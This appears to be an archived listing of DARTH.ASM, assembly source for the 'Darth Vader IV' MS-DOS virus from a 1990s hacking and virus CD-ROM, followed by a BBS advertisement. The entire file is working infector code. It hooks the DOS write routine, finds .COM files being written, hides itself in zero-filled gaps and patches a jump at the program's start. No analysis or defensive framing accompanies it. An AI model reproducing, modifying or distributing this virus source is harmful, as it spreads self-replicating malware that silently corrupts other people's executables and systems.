home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DARTH.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  3KB  |  152 lines

  1. ;******************************************************************************
  2. ;*                                          *
  3. ;*                  D A R T H   V A D E R   IV              *
  4. ;*                                          *
  5. ;*    (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia              *
  6. ;*    All Rights Reserved                              *
  7. ;*                                          *
  8. ;*    Enchanced by: Lazy Wizard                          *
  9. ;*                                          *
  10. ;*    Turbo Assembler 2.0                              *
  11. ;*                                          *
  12. ;******************************************************************************
  13.  
  14.  
  15.  
  16.         .model    tiny
  17.         .code
  18.  
  19.         org    100h
  20.  
  21. Start:
  22.         call    NextLine
  23. First3:
  24.         int    20h
  25.         int    3
  26. NextLine:
  27.         pop    bx
  28.         push    ax
  29.         xor    di,di
  30.         mov    es,di
  31.         mov    es,es:[2Bh*4+2]
  32.         mov    cx,1000h
  33.         call    SearchZero
  34.         jc    ReturnControl
  35.         xchg    ax,si
  36.         inc    si
  37. SearchTable:
  38.         dec    si
  39.         db    26h
  40.         lodsw
  41.         cmp    ax,8B2Eh
  42.         jne    SearchTable
  43.         db    26h
  44.         lodsb
  45.         cmp    al,75h
  46.         je    ReturnControl
  47.         cmp    al,9Fh
  48.         jne    SearchTable
  49.         mov    si,es:[si]
  50.         mov    cx,LastByte-Start
  51.         lea    ax,[di+Handle-Start]
  52.         org    $-1
  53.         xchg    ax,es:[si+80h]
  54.         sub    ax,di
  55.         sub    ax,cx
  56.         mov    [bx+OldWrite-Start-2],ax
  57.         mov    word ptr [bx+NewStart+1-Start-3],di
  58.         lea    si,[bx-3]
  59.         rep    movsb
  60. ReturnControl:
  61.         pop    ax
  62.         push    ss
  63.         pop    es
  64.         mov    di,100h
  65.         lea    si,[bx+First3-Start-3]
  66.         push    di
  67.         movsw
  68.         movsb
  69.         ret
  70. SearchZero:
  71.         xor    ax,ax
  72.         inc    di
  73.         push    cx
  74.         push    di
  75.         mov    cx,(LastByte-Start-1)/2+1
  76.         repe    scasw
  77.         pop    di
  78.         pop    cx
  79.         je    FoundPlace
  80.         loop    SearchZero
  81.         stc
  82. FoundPlace:
  83.         ret
  84. Handle:
  85.         push    bp
  86.         call    NextHandle
  87. NextHandle:
  88.         pop    bp
  89.         push    es
  90.         push    ax
  91.         push    bx
  92.         push    cx
  93.         push    si
  94.         push    di
  95.         test    ch,ch
  96.         je    Do
  97.         mov    ax,1220h
  98.         int    2Fh
  99.         mov    bl,es:[di]
  100.         mov    ax,1216h
  101.         int    2Fh
  102.         cmp    es:[di+29h],'MO'
  103.         jne    Do
  104.         cmp    word ptr es:[di+15h],0
  105.         jne    Do
  106.         push    ds
  107.         pop    es
  108.         mov    di,dx
  109.         mov    ax,[di]
  110.         mov    [bp+First3-NextHandle],ax
  111.         mov    al,[di+2]
  112.         mov    [bp+First3+2-NextHandle],al
  113.         call    SearchZero
  114.         jc    Do
  115.         push    di
  116. NewStart:
  117.         mov    si,0
  118.         mov    cx,(LastByte-Start-1)/2
  119.         cli
  120.         rep
  121.         db    36h
  122.         movsw
  123.         sti
  124.         mov    di,dx
  125.         mov    al,0E9h
  126.         stosb
  127.         pop    ax
  128.         sub    ax,di
  129.         dec    ax
  130.         dec    ax
  131.         stosw
  132. Do:
  133.         pop    di
  134.         pop    si
  135.         pop    cx
  136.         pop    bx
  137.         pop    ax
  138.         pop    es
  139.         pop    bp
  140. OldWrite:
  141.         jmp    start
  142.  
  143. LastByte    label    byte
  144.  
  145.         end    Start
  146.  
  147. ; ─────────────────────────────────────────────────────────────────────────
  148. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  149. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  150. ; ─────────────────────────────────────────────────────────────────────────
  151.  
  152.